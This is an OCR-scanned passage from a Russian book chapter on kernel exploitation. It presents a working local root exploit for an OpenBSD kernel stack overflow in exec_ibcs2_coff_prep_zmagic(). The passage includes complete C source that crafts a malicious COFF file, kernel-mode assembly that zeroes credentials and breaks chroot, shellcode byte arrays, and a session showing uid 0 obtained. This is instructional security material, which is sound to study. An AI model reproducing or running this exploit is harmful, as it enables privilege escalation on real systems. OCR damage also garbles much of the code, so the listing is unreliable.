386 Глава 21. Эксплуатация уязвимостой ядра long a_dstart. }: /* Волшебное число */ #def"ine COFF_ZMAGIC 0413 /* * Заголовок секции C0FF */ struct coff_scnhdr { char long long long long long long u_short u_short long s_name[8] s_paddr. s_vaddr; s_size; s_scnptr. s_relptr; s_lnnoptr s_nreloc; sjilnno, s_flags; }: /* s_flags */ #define COFF_STYP_TEXT 0x20 #define COFF_STYP_DATA 0x40 #define COFF_STYP_SHLIB 0x800 "int maindnt argc, char **argv) { имnt i, fd, debug = 0, u_char *ptr. *shptr, u_long *lptr, offset; char *args[] = { " /ibcs2own", NULL}, char *envs[] = { "RIP=theo". NULL}; // Структуры COFF struct coff_filehdr fhdr, struct coff_aouthdr ahdr, struct coff_scnhdr scnO, scnl. scn2; if(argv[l]) { if(!strncmp(argv[l], "-v", 2)) debug = 1. else { pnntf("-v verbose flag only\n"). exit@), } } ZERO(fhdr). fhdr fjnagic = C0FF_MAGIC_I386. fhdr fjiscns = 3, //TEXT. DATA. SHLIB fhdr f_timdat = Oxdeadbeef. fhdr f_symptr = 0x4000. fhdr fjnsyms = 1.
Уязвимость execJbcs2_coff_prep_zmagic() 387 fhdr f_opthdr = sizeof(ahdr), // Размер заголовка AOUT fhdr.f_flags = COFFJJXEC: ZER0( ahdr. ahdr, ahdr, ahdr ahdr ahdr ahdr :ai .a .a .a a a a a idr); magic = tsize = dsize = bsize = entry = tstart dstart COFF 0. 0. 0; ZMAGIC 0x10000: = 0, = 0; ZERO(scnO). memcpy(&scn0 sjiame, " text". 5). scn0.s_paddr = 0x10000, scn0.s_vaddr = 0x10000; scn0.s_size = 4096: // Смещение сегмента text scnO s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3), scnO s_relptr = 0, scnO sjnnoptr = 0, scn0.s_nreloc = 0: scnO sjilnno = 0. scnO s_flags = COFF_STYP_TEXT; ZERO(scnl), memcpyUscnl sjiame. " data". 5), scnl s_paddr = 0x10000 - 4096. scnl s_vaddr = 0x10000 - 4096. scnl s_size = 4096. // Смещение сегмента data scnl s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096. scnl.s_relptr = 0. scnl s_lnnoptr = 0. scnl s_nreloc = 0. scnl sjilnno = 0, scnl s_flags = COFF_STYP_DATA. ZERO(scn2). memcpy(&scn2 s_name. " shlib". 6). scn2.s_paddr = 0. scn2 s_vaddr = 0. // Вектор переполнения!11 scn2 s_size = OxbO, /* Смещение от начала буфера до сохраненного eip */ // Смещение сегмента shlib scn2 s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)^3) + B*4096). scn2 s_relptr = 0. scn2 s_lnnoptr = 0. scn2 s_nreloc = 0. scn2 s_nlnno = 0. scn2 s_flags - COFF_STYP_SHLIB.
388 Глава 21. Эксплуатация уязвимостей ядра ptr = (char *) malloc(sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096); memset(ptr. Oxcc. sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096). memcpy(ptr\ (char *) &fhdr, sizeof(fhdr)); offset = sizeof(fhdr); memcpy((char *) (ptr+offset), (char *) &ahdr. sizeof(ahdr)); offset += sizeof(ahdr); memcpy((char *) (ptr+offset), (char *) &scn0, sizeof(scnO)); offset += sizeof(scnO); memcpy((char *) (ptr+offset), (char *) &scnl, sizeof(scnl)): offset += sizeof(scnl), memcpy((char *) (ptr+offset), (char *) &scn2. sizeof(scn2)); Iptr = (ujong *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) - (sizeof(scn0)*3) + B*4096) + OxbO - 8); shptr = (char *) mallocD096); if(debug) pnntfCpayload adr 0x^ 8x\n". shptr), memset(shptr, Oxcc, 4096), *lptr++ = Oxdeadbeef. *lptr = (ujong) shptr; memcpy(shptr, shellcode, sizeof(shellcode)-l), unlinkC /ibcs2own"), /* Удаление остатков от прошлых выполне! if((fd = open С /ibcs2own", 0__CREATA0_RDWR. 0755)) < 0) { perrorCopen"): exit(-l), } write(fd. ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scnO) * 3) + D096*3)), close(fd). free(ptr). execve(args[0], args, envs). perrorC'execve"). } Откомпилируем программу: bash2 05b# uname -a OpenBSD theO wideopenbsd net 3 3 GENERIC#44 i386 bash-2.05b# gcc -o obsd_exl obsd_exl с
Уязвимость execjbcs2_coff_prep_zmagic() 389 Вычисление смещений и контрольных точек Перед запуском любого кода, предназначенного для эксплуатации уязвимостей в ядре, всегда запускается отладчик ядра. Это позволяет выполнять различные вычисления, направленные на перехват управления. В данном случае будет использоваться отладчик ddb. Следующие команды обеспечат запуск ddb в правильной конфигурации. Помните, что для отладки ядра OpenBSD требуется консольный доступ: bash-2 05b# sysctl -w ddb.panic=l ddb.panic l-> 1 bash-2.05b# sysctl -w ddb.console=l ddb console- l-> 1 Первая команда sysctl настраивает ddb на запуск при обнаружении «панического» состояния ядра, а вторая позволяет в любой момент получить доступ к ddb с консоли нажатием комбинации клавиш Esc+Ctrl+Alt. bash-2.05b# objdump -d --start-address=0xd048ac78 --stop-address=0xd048c000\ > /bsd | more /bsd file format a out-i386-netbsd Disassembly of section text d048ac78 <_exec_i bcs2_coff_prep_zmagi c>: d048ac78- 55 push Uebp d048ac79 89 e5 mov Uesp.Uebp d048ac7b 81 ec be 00 00 00 sub $0xbc.&esp d048ac81. 57 push Uedi [удалено] d048af5d. c9 leave d048af5e c3 ret AC bash-2 05b# objdump -d --start-address=0xd048ac78 --stop-address=0xd048af5e\ > /bsd | grep vn_rdwr d048aef3 e8 70 lb d7 ff call d01fca68 <_vn_rdwr> В этом примере 0xd048aef3 — адрес функции vn_rdwr. Для вычисления расстояния между сохраненным адресом возврата и буфером в стеке необходимо установить контрольные точки в прологе (точке входа) функции exec_ibcs2_coff_ prep_zmagic() и функции vn_rdwr(). CTRL+ALT+ESC bash-2 05b# Stopped at _Debugger+0x4 leave ddb> x/i 0xd048ac78 _exec_i bcs2_cof f_prep__zmagi с pushl %ebp ddb> x/i 0xd048aef3 _exec_ibcs2_coff_prep_zmagic+0x27b call _vn_rdwr ddb> break 0xd048ac78 ddb> break 0xd048aef3 ddb> cont
390 Глава 21. Эксплуатация уязвимостей ядра bash-2.05b# /obsd_exl Breakpoint at _exec_ibcs2_coff_prep_zmagic- pushl Uebp ddb> x/x $esp.l 0xd4739c5c- d048a6c9 !!saved return address at- Oxd4739c5c ddb> x/i Oxd048a6c9 _exec_i bcs2_coff_makecmds+0x61• movl %eax,%ebx ddb> x/i Oxd048a6c9 - 5 _exec_ibcs2_coff_makecmds+0x5c: cal 1 _exec_i bcs2_coff_prep_zmagi с ddb> cont Breakpoint at _exec_ibcs2_coff_prep_zmagic+0x27b: call _vn_rdwr ddb> x/x $esp.3 Oxd4739b60. 0 d46c266c d4739bbO (base argument to vn_rdwr) ddb> x/x $esp Oxd4739b60. 0 ddb> AM Oxd4739b64- d46c266c ddb> AM 0xd4739b68. d4739bbO |--> Адрес 'char buf[128]' ddb> x/x $ebp Oxd4739c58: d4739c88 --> saved Uebp ddb> AM 0xd4739c5c d048a6c9 --> saved top |-> Адрес в стеке, по которому хранится адрес возврата В конвенции вызова х86 (в предположении, что указатель кадра не был исключен, то есть -fomit_frame_pointer) указатель базы всегда ссылается на позицию стека, в которой хранятся указатель кадра вызывающей стороны и указатель команд. Для вычисления расстояния между буфером и сохраненным значением %eip выполняется следующая операция: ddb> print Oxd4739c5c - Oxd4739bbO ас ddb> boot sync ПРИМЕЧАНИЕ Команда boot sync перезагружает систему. Расстояние между адресом, по которому хранится сохраненный адрес возврата, и стековым буфером составляет 172 (Охас) байта. Устанавливая размер секции данных равным 176 (OxbO) в заголовке секции .shlib, мы получаем контроль над адресом возврата. Замена адреса возврата и перехват управления После вычисления местоположения адреса возврата по отношению к переполняемому буферу следующий фрагмент obsd_exl.c становится более понятным. [1] Iptr = (ujong *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \ (sizeof(scn0)*3) + B*4096) + OxbO - 8), [2] shptr - (char *) mallocD096),
Уязвимость qxgc_ itx;s2_coff_prep_zmagic() 391 if(debug) pnntfCpayload adr: 0x&.8x\n", shptr); memset(shptr. Oxcc, 4096); *lptr++ = Oxdeadbeef, [3] *lptr = (ujong) shptr; Фактически в [1] мы перемещаем указатель Iptr в позицию тех данных в секции, которые заменят сохраненный указатель базы и адрес возврата. После выполнения этой операции в куче выделяется буфер [2], предназначенный для хранения кода (см. далее). После этого 4 байта данных в секции, предназначенные для замены адреса возврата, обновляются адресом буфера в куче, выделенного в пользовательском пространстве ([3]). Управление будет перехвачено и передано в буфер пользовательского режима, заполненный только отладочными прерываниями int 3. Это приведет к активизации отладчика. bash-2.05b# /obsd_exl -v payload adr; 0x00005000 Stopped at 0x5001 int $3 ddb> x/i $eip.3 0x5001- int $3 0x5002. int $3 0x5003: int $3 Выходные данные отладчика ядра показывают, что мы получили полный контроль над выполнением с привилегиями ядра (SEL_KPL). ddb> show registers es 0x10 ds 0x10 ebp Oxdeadbeef eip 0x5001 --> Адрес буфера пользовательского режима cs 0x8 Получение дескриптора процесса Следующие операции позволяют получить информацию из структуры процесса, необходимую для манипуляций с аутентификационными данными и chroot. Существуют разные способы поиска структуры процесса. В настоящем разделе будут рассмотрены два из них; поиск в стеке, не рекомендованный для OpenBSD, и вызов системной функции sysctl(). Поиск в стеке В ядре OpenBSD указатель на структуру процесса в зависимости от уязвимого интерфейса может храниться по фиксированному адресу по отношению к указателю стека. Таким образом, после перехвата управления мы можем прибавить фиксированное смещение (разность между указателем стека и местонахождением указателя на структуру процесса) к указателю стека и получить указатель на структуру процесса. С другой стороны, в Linux ядро всегда отображает структуру процесса в начало стека ядра, создаваемого па уровне процесса.
392 Глава 21. Эксплуатация уязвимостей ядра Благодаря этой особенности Linux поиск структуры процесса становится тривиальной задачей. Вызов системной функции sysctl () Системная функция sysctl реализует простой интерфейс передачи информации с пользовательского уровня на уровень ядра и обратно. Интерфейс sysctl делится на несколько субкомпонентов для управления ядром, оборудованием, виртуальной памятью, сетью, файловой системой и архитектурой. Нас прежде всего интересует подинтерфейс ядра, реализуемый функцией kern_sysctl(). ПРИМЕЧАНИЕ См. sys/kern/kern_sysctl.c, строка 234. Функция kern_sysctl() также назначает обработчики некоторых запросов, в том числе для структуры процесса, тактовой частоты, v-узла и информации о файле. Структура процесса обрабатывается функцией sysctl_doproc(); эта функция предоставляет интерфейс к интересующей нас информации режима ядра. int sysctl_doproc(name, namelen. where, sizep) int *name, u_int namelen, char *where; size t *sizep, { [1] for (, p != 0, p = LIST_NEXT(p, pjist)) { [2] switch (name[0]) { case KERN_PROC_PID: [3] if (p->pid != (pid_t)name[l]) continue; break; } if (buflen >= sizeof(struct kinfo_proc)) { [4] fill_eproc(p, &eproc); [5] error = copyout((caddr_t)p, &dp->kp_proc, sizeof(struct proc)). void fill_eproc(p, ep) register struct proc *p. register struct eproc *ep. { register struct tty *tp. [6] ep->e_paddr = p, Команда switch в функции sysctl_doproc() ([2]) позволяет обрабатывать различные типы запросов. Запроса KERN_PROC_PID вполне достаточно для получения
Уязвимость exec_ibcs2_coff_prep_zmagic() 393 необходимого адреса структуры proc любого процесса. В случае уязвимости setitimer() интерфейс sysctl() используется несколькими способами, которые описаны далее. Код sysctl_doproc() перебирает связанный список структур [1] для поиска в нем запрашиваемого значения PID. Если значение найдено, функция заполняет структуры ергос и kp_proc ([4] и [5]) и вызывает copyout. Функция fUL_eproc() (вызываемая в точке [4]) копирует адрес структуры процесса с запрашиваемым PID в поле e_paddr структуры ергос ([6]). Далее адрес копируется в пользовательское пространство в структуре kinfo_proc (которая является главной структурой данных функции sysctl_doproc()). За дополнительной информацией о полях этих структур обращайтесь к файлу sys/sys/sysctl.h. Для получения структуры kinfo_proc вызывается следующая функция: void get_proc(pid_t pid. struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN. arr[l] = KERN_PR0C. arr[2] = KERN_PROC_PID; arr[3] = pid, len = sizeof(struct kinfo_proc); if (sysctKarr. 4, kp, &len. NULL. 0) < 0) { perrorC'sysctl"): exit(-l); } } Вызов для CTL_KERN передается в kem_sysctl() функцией sys_sysctl(). Вызов для KERN_PR0C передается в sysctl_doproc() функцией kern_sysctl(). Упоминавшаяся ранее команда switch обрабатывает вызов для KERN_PROC_PID, в конечном счете возвращая структуру kinfo_proc. Создание внедряемого кода режима ядра В этом разделе мы займемся разработкой различных фрагментов кода, которые модифицируют некоторые поля структуры родительского процесса. В конечном счете это приведет к повышению уровня привилегий и нарушению ограничений chroot. Затем ассемблерные фрагменты будут объединены при помощи кода, который вернет управление в пользовательское пространство и таким образом даст нам новые неограниченные привилегии. Поля peered и u_cred Начнем с повышения уровня привилегий. Далее приведен ассемблерный код, изменяющий поля u_cred (параметры доступа пользователя) и p_cred (параметры доступа процесса) для произвольной структуры процесса. Код эксплуатации уязвимости заполняет адрес родительского процесса в структуре с помощью системной функции sysctlQ, описанной в предыдущем разделе. Начальные команды call и pop загружают адрес структуры процесса в регистр %edi. Вы также
394 Глава 21. Эксплуатация уязвимостей ядра можете воспользоваться хорошо известной методикой получения адресов, часто применяемой во внедряемом коде и описанной в журнале Phrack (www. phrack.org/show. php?p=49&a=14). call moo .long 0x12345678 <- Адрес рргос .long Oxdeadcafe long Oxbeefdead nop nop nop moo: pop %edi mov UedD.Uecx # Ргос-адрес родителя в %ecx # Обновление p_ruid mov OxlOUecx) ДеЬх # ebx = p->p_cred xor ЯеахДеах # eax = 0 mov &eax.0x4Uebx) # p->p_cred->p_ruid = 0 # Обновление cr_uid mov Uebx),%edx # edx = p->p_cred->pc_ucred mov $eax,0x4Uedx) # p->p_cred->pc_ucred->cr_uid = 0 Нарушение ограничений chroot Следующий ассемблерный фрагмент послужит для нарушения ограничений chroot в кольце 0. Не углубляясь в подробности, рассмотрим общий принцип проверки chroot на уровне отдельных процессов. Ограничения chroot реализуются заполнением поля fd rdir структуры filedesc указателем v-узла ограничивающего каталога (jail directory). При обработке запросов от процесса ядро проверяет, заполнено ли это поле указателем на v-узел. Если проверка дает положительный результат, механизм обработки запросов меняется. Ядро создает для процесса новый корневой каталог, фактически ограничивая его заранее определенным каталогом. Для процесса без ограничений chroot этот указатель равен нулю. Не углубляясь в подробности реализации, скажем, что присваивание этому указателю значения NULL нарушает ограничения chroot. Ссылка на fd_rdir через структуру процесса выглядит так: p->p_fd->fd_rdir Обращение к структуре filedesc и ее изменение тривиально реализуется двумя ассемблерными командами: # Изменение p->p_fd->fd_rdir для нарушения ограничений chroot mov 0xl4Uecx) ,%edx # edx = p->p_fd mov fceax.OxcUedx) # p->p_fd->fd_rdir = 0 Возврат из режима ядра После изменения некоторых полей структуры процесса, повышения уровня привилегий и выхода из ограничений chroot необходимо восстановить нормальный режим работы системы. Для этого мы должны вернуться в пользователь-
Уязвимост ь execJbcs2_coff_prep__zmagic() 395 скии режим, то есть передать управление процессу, вызвавшему системную функцию. Возврат в пользовательский режим командой iret прост и прямолинеен; к сожалению, он не всегда возможен, потому что в ядра могут быть заблокированы некоторые объекты синхронизации. В таких случаях приходится передавать управление по адресу кода ядра, который снимает блокировку с объектов синхронизации и тем самым предотвращает фатальный сбой ядра. На практике возврат в код ядра, снимающий блокировку с объектов синхронизации, часто оказывается лучшим способом возобновления нормальной работы системы. Если снимать блокировку не обязательно, можно просто воспользоваться методом iret. Возврат в пользовательский режим Следующий фрагмент кода представляет собой обработчик системной функции, вызываемый из процедуры обработки прерывания (Interrupt Service Routine, ISR). Функция вызывает высокоуровневый обработчик [1], написанный на языке С, а после возврата управления готовит регистры и осуществляет возврат в пользовательский режим ([2]). IDTVEC(syscall) pushl $2 # Размер команды перезапуска syscalll pushl $T_ASTFLT # Номер ловушки AST INTRENTRY movl _C_LABEL(cpl).Uebx movl TF_EAXUesp) ,%esi # Номер системной функции [1] call _C_LABEL(syscall) 2: /* Проверка ловушек AST при выходе в пользовательский режим */ cli cmb $0._C_LABEL(astpending) je If movb $0._C_LABEL(astpending) sti call _C_LABEL(trap) jmp 2b 1: cmpl _C_LABEL(cpl).*ebx jne 3f [2] INTRFASTEXIT #define INTRFASTEXIT \ popl %es popl %tis popl %edi popl %esi popl Uebp popl %ebx popl %e6x popl %ecx popl %езх addl $8.%esp iret
396 Глава 21. Эксплуатация уязвимостей ядра Следующая реализация основана на описанном ранее механизме обработки вызовов системных функций с эмуляцией возврата из обработки прерывания: cli # Подготовка селекторов для пользовательского режима # es = ds = Oxlf pushl $0xlf popl %es pushl $0xlf popl %6s # edi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl Uesi # ebp = OxdfbfdOOO pushl $0xdfbfd000 popl Uebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl Uedx pushl $0x00 popl %ecx pushl $0x00 popl Яеах pushl $0xlf # ss = Oxlf pushl $0xdfbfd000 # esp = OxdfbfdOOO pushl $0x287 # eflags pushl $0x17 # cs селектор кодового сегмента пользовательского режима pushl $0x00000000 # Пустая позиция для ring3 Ueip i ret Возврат в код ядра Методика возврата в пользовательский режим основана на использовании специального регистра 1DTR (Interrupt Descriptor Table Register), содержащего начальный адрес таблицы дескрипторов прерываний (Interrupt Descriptor Table, IDT). He вдаваясь в излишние подробности, таблица IDT содержит обработчики прерываний для различных векторов прерываний. Каждое прерывание процессора х86 представлено номером от 0 до 255; эти номера называются векторами прерываний. Векторы прерываний используются для поиска начального обработчика любого прерывания в IDT. Таблица IDT состоит из 256 элементов, размер каждого из которых составляет 8 байт. Существуют три разновидности дескрипторов, но нас будет интересовать только одна из них — дескриптор системного шлюза (system gate descriptor). Дескриптор шлюза ловушки (trap gate descriptor) служит для назначения начального обработчика системной функции, о котором говорилось в предыдущем разделе.
Уязвимость execJbcs2_coff_prep_zmaglc() 397 ПРИМЕЧАНИЕ В OpenBSD для дескрипторов шлюза ловушки и системных дескрипторов используется одна и та же структура gate_descriptor. Кроме того, в программном коде системные дескрипторы часто называются дескрипторами ловушек. sys/arch/i386/machdep.c line 2265 setgate(&idt[128]. &IDTVEC(syscall), 0, SDT_SYS386TGT. SELJJPL. GC0DE_SEL), sys/arch/i386/include/segment.h line 99 struct gate_descnptor { unsigned gdjooffset 16; unsigned gd_selector 16; unsigned gd_stkcpy 5; unsigned gd_xx 3, unsigned gd_type:5. unsigned gd_dpl 2; unsigned gd_p 1; unsigned gdjiioffset 16, } Поля структуры gate_descriptor gd_looffset и gd_hioffset формируют адрес низкоуровневого обработчика прерываний. За дополнительной информацией об отдельных полях обращайтесь к руководствам но архитектуре по адресу http:// developer.inteLcom/design/Pentium4/manuals. Таблица IDT в OpenBSD называется _idt_region, а позиция 0x80 соответствует дескриптору прерывания системных функций. Поскольку длина каждой записи IDT составляет 8 байт, структура gate_descriptor для системных функций находится по адресу _idt_jegion + 0x80 х 0x8, то есть _idt_region + 0x400. bash-2 05b# Stopped at _Debugger+0x4 leave ddb> x/x _idt_region+0x400 _idt_regi on+0x400. 80e4c ddb> AM _idt_region+0x404 eOlOefOO Чтобы получить исходный обработчик системных функций, необходимо выполнить операции сдвига и OR с битовыми полями дескриптора системного шлюза. Так мы приходим к адресу ядра 0хе0100е4с. bash-2.05b# Stopped at _Debugger+0x4 leave ddb> x/x 0xe0100e4c _Xosyscall_end pushl $0x2 ddb> "M _Xosyscall_end+0x2 pushl $0x3 _Xosyscall_end+0x20 call _syscall Как и в случае исключений или программных прерываний, соответствующий вектор находится в IDT. Управление передается обработчику, найденному в одном из дескрипторов шлюзов. Этот обработчик, называемый промежуточным
398 Глава 21. Эксплуатация уязвимое! ей ядра обработчиком, в конечном счете приведет нас к настоящему обработчику. Как видно из выходных данных отладчика ядра, исходный обработчик _XosyscalL end сохраняет все регистры (а также выполняет другие низкоуровневые операции) и немедленно вызывает настоящий обработчик _syscall(). Ранее уже упоминалось о том, что адрес _idt_region всегда хранится в специальном регистре idtr. Как обратиться к его содержимому? sidt 0x4Uedi) mov 0x6(%edi) ДеЬх Адрес _idt_region помещается в регистр ebx, который теперь может использоваться для обращений к IDT. Следующий ассемблерный фрагмент определяет обработчик системных функций: sidt 0x4(Sedi) mov 0x6Uedi) ДеЬх # mov _idt_region в ebx mov 0x400Uebx) .Uedx # jdt_region[0x80 * B*sizeof long) = 0x400] mov Qx404Uebx).*ecx # jdt_region[0x404] shr $0x10.Secx # sal $0x10 Десх # ecx = gd_hioffset sal $0xl0.Uedx # shr $0xl0.?edx # edx = gdjooffset or %ecx,%etix # edx = ecx | edx = _Xosyscall_end На этой стадии мы успешно выяснили местонахождение исходного и промежуточного обработчиков. Следующий логический шаг — поиск call _syscall в коде ядра, вычисление смещения по командам вызова и его прибавление к адресу команды. Кроме того, необходимо прибавить еще 5 байт для компенсации размера самой команды call. хог ЯесхДесх # Обнуление счетчика up. 1рр %есх movb Uedx.Secx).*bl # bl = _Xosyscall_end++ empb $0хе8ДЬ1 # if bl == 0xe8 . 'call' jne up lea (%etix.%ecx),%ebx # _Xosyscall_end+Uecx. call _syscall В регистре %есх хранится адрес настоящего обработчика _syscall(). Теперь нужно определить, куда именно следует передавать управление внутри функции syscaLL(); это потребует более подробных исследований в различных версиях OpenBSD с разными параметрами компиляции ядра. К счастью, оказывается, что мы можем просто провести поиск команды call *%еах в _syscall(). Именно эта команда передавала управление окончательному обработчику системных функций во всех протестированных версиях OpenBSD. bash-2 05b# Stopped at _Debugger+0x4 leave ddb> x/i _syscal1+0x240 _syscal 1+0x240 call Пеах ddb>cont Наша цель — вычислить смещение @x240 в данном случае) для любой версии ОС. Мы хотим вернуть управление из внедряемого кода команде, находящейся сразу же за вызовом call *%eax, и продолжить выполнение в режиме ядра. Код поиска выглядит так:
Уязвимость exec_ibcs2_coff_prep_zmagic() 399 mov йесхДесИ mule. mov $0xfOal eld mov $OxffffffffДесх repnz seas %es:Uedi) Да! # Приступаем к поиску Oxff mov emp jne inc xor push ret (SedD.Sbl $0xd0,%bl mule Mi ЯеахДеах %edi # Проверить, следует ли OxdO за Oxff # Если нет, начать заново # Нашли! # Подготовить возвращаемое значение # Занести адрес в стек # Перейти по найденному адресу Полученный код — все, что необходимо для корректного возврата. Он может использоваться с любыми вариантами переполнения на базе системных функций без дополнительных модификаций. Получение root-привилегий (uid=0) Остается лишь объединить все приведенные секции. Мы получаем окончательную версию кода, который повышает привилегии и снимает все ограничения chroot: -bash-2.05b$ uname -a OpenBSD theO.wideopenbsd net 3 3 GENERIC#44 i386 bash-2.05b# gec -o theOtherat coff_ex.c -bash-2 05b$ id uid=1000(noir) gid=1000(noir) groups=1000(noir) -bash-2 05b$ ./theOtherat DO NOT FORGET TO SHRED /ibcs2own Abort trap -bash-2 05b$ id uid=0(root) gid=1000(noir) groups=1000(noir) -bash-2.05b$ bash -bash-2.05b# cp /dev/zero /ibcs2own /home- write failed, file system is full cp: /ibcs2own No space left on device bash-2 05b# rm -f /ibcs2own bash-2 05b?f head -2 /etc/master passwd root $2a$08$ [cut] -0 0 daemon 0-0 Charlie & /root /bin/csh daemon *.l 1 0 0-The devil himself /root /sbin/nologin coff_ex с /** OpenBSD 2 x - 3 3 /** Переполнение стека ядра с использованием /** exec_ibcs2_coff_prep_zmagic() /** Примечание двоичная совместимость ibcs2 с SCO и ISC /** включена в стандартной установке **/ **/ **/ **/ •к* / /** Copyright Feb 26 2003 Sinan "noir" Eren **/
400 Глава 21. Эксплуатация уязвимостей ядра /* noir@olympos org | noir@uberhaxOr.net #include <stdio h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <sys/param h> #include <sys/sysctl.h> #include <sys/signal.h> /* kernel_sc s */ unsigned char shellcode[] = H\xe8\xOf\xOO\xOO\xOO\x78\x56\x34\xl2\xfe\xca\xad\xde\xad\xde\xef\xbe" n\x90\x90\x90\x5f\x8b\x0f\x8b\x59\xl0\x31\xc0\x89\x43\x04\x8b\xl3\x89M n\x42\x04\x8b\x51\xl4\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xcl\xe9\xl0" "\xcl\xel\xl0\xcl\xe2\xl0\xcl\xea\xl0\x09\xca\x31\xc9\x41\x8a\xlc\x0aM "\x80\xfb\xe8\x75\xf7\x8d\xlc\x0a\x41\x8b\x0c\x0a\x83\xcl\x05\x01\xd9" "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\xlf\x80\xfb\xd0" "\x75\xef\x47\x31\xc0\x57\xc3". /* iret_sc.s */ unsigned char iret_shellcode[] = M\xe8\x0f\x00\x00\x00\x78\x56\x34\xl2\xfe\xca\xad\xde\xad\xde\xef\xbe" n\x90\x90\x90\x5f\x8b\x0f\x8b\x59\xl0\x31\xc0\x89\x43\x04\x8b\xl3\x89" "\x42\x04\x8b\x51\xl4\x89\x42\x0c\xfa\x6a\xlf\x07\x6a\xlf\xlf\x6a\x00" M\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6aM "\x00\x59\x6a\x00\x58\x6a\xlf\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00" "\x6a\xl7\ unsigned char pusheip[] = "\x68\xOO\xOO\xOO\xOO"; /* fill eip */ unsigned char iret[] = "\xcf"; unsigned char exitsh[] = "\x31\xc0\xcd\x80\xcc"; /* xorl Seax.fceax, int $0x80, int3 */ #define ZERO(p) memset(&p, 0x00, sizeof(p)) /* * C0FF file */ itruct coff_ u_short u short long long long u_short u_short header filehdr { f_magic. fjiscns, f_timdat f_symptr f_nsyms, f opthdr f_flags: /* Волшебное число */ /* Количество секций */ /* Временная метка */ /* Смещение таблицы символов */ /* Число записей в таблице символов */ /* Размер необязательного заголовка */ /* Флаги */
Уязвимость execJbcs2„coff_prop_zmagic() 401 /* fjnagic */ #define C0FF_MAGIC_I386 0x14c /* f_flags */ #define COFF_F_RELFLG Oxl #define COFFJJXEC 0x2 #define C0FF_F_LNN0 0x4 #define C0FF_F_LSYMS 0x8 #define COFF_F_SWABD 0x40 #define C0FF_F_AR16WR 0x80 #define C0FF_F_AR32WR 0x100 /* * Системный заголовок COFF */ struct coff_aouthdr { short short long long long long long long a magic; a vstamp; a tsize. a dsize; a bsize. a entry, a tstart, a dstart. }. /* Волшебное число */ #define COFF_ZMAGIC 0413 /* * Заголовок секции COFF */ struct coff_scnhdr { char long long long long long long u short u short long s name[8] s paddr, s vaddr, s size, s scnptr. s relptr, s Innoptr s nreloc; s nlnno. s flags, }. /* s_flags */ #define COFF_STYP_TEXT 0x20 #define COFF_STYP_DATA 0x40 #define COFF_STYP_SHLIB 0x800 void get_proc(pid_t, struct kinfo_proc *). void sig_handler(). int
402 Глава 21. Эксплуатация уязвимостой ядра maindnt argc. char **argv) { ujnt l. fd, debug = 0. u_char *ptr, *shptr. u_long *lptr; u_long pprocadr, offset; struct kinfo_proc kp; char *args[] = { " /ibcs2own", NULL}; char *envs[] = { "RIP=theo", NULL}; // Структуры COFF struct coff_filehdr fhdr, struct coff_aouthdr ahdr, struct coff_scnhdr scnO, scnl, scn2; if(argv[l]) { if(!strncmp(argv[l], "-v", 2)) debug = 1, else { printfC'-v verbose flag only\n"), exit(O); ZERO(fhdr). fhdr.f_magic = C0FF_MAGIC_I386; fhdr f_nscns = 3, //TEXT, DATA, SHLIB fhdr.f_timdat = Oxdeadbeef, fhdr.f_symptr = 0x4000; fhdr fjisyms = 1, fhdr.f_opthdr = sizeof(ahdr); // Размер заголовка AOUT fhdr f_flags = COFFJJXEC; ZERO(ahdr). ahdr.a_magic = COFF_ZMAGIC; ahdr.a_tsize = 0, ahdr a_dsize = 0; ahdr a_bsize = 0, ahdr a_entry = 0x10000; ahdr a_tstart = 0, ahdr a_dstart = 0, ZERO(scnO), memcpy(&scn0 sjiame, " text". 5); scnO s_paddr = 0x10000. scnO s_vaddr = 0x10000. scnO s_size = 4096. scnO s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeofCsc // Смещение сегмента text scnO s_relptr = 0. scnO.sJnnoptr = 0. scnO sjireloc = 0. scnO sjilnno = 0; scnO s_flags = COFF_STYP_TEXT; ZERO(scnl). memcpy(&scnl s_name. " data". 5).
Уязвимость exec_ibcs2_coff_prep_ zmagic() 403 scnl s_paddr = 0x10000 - 4096, scnl.s_vaddr = 0x10000 - 4096, scnl s_size = 4096, scnl.s_scnptr = S"izeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096. // Смещение сегмента data scnl s_relptr = 0, scnl sjnnoptr = 0; scnl.sjireloc = 0; scnl.s_nlnno = 0. scnl.s_flags = COFF_STYP_DATA, ZER0(scn2); memcpy(&scn2.s_name, ".shlib", 6); scn2 s_paddr = 0, scn2.s_vaddr = 0; scn2.s_size = OxbO; //HERE IS DA 0VF4! static_buffer = 128 scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096; // Смещение сегмента data scn2.s_relptr = 0, scn2. sjnnoptr = 0; scn2.s_nreloc = 0; scn2 s_nlnno = 0. scn2.s_flags = COFF_STYP_SHLIB, offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096. ptr = (char *) malloc(offset). if(lptr) { perrorC'malloc"), exit(-l). } memset(ptr, Oxcc. offset). /* Заполнение int3 */ /* Копирование секций */ offset = 0. memcpy(ptr, (char *) &fhdr. sizeof(fhdr)). offset += sizeof(fhdr). memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr)). offset += sizeof(ahdr). memcpy(ptr+offset, (char *) &scn0. 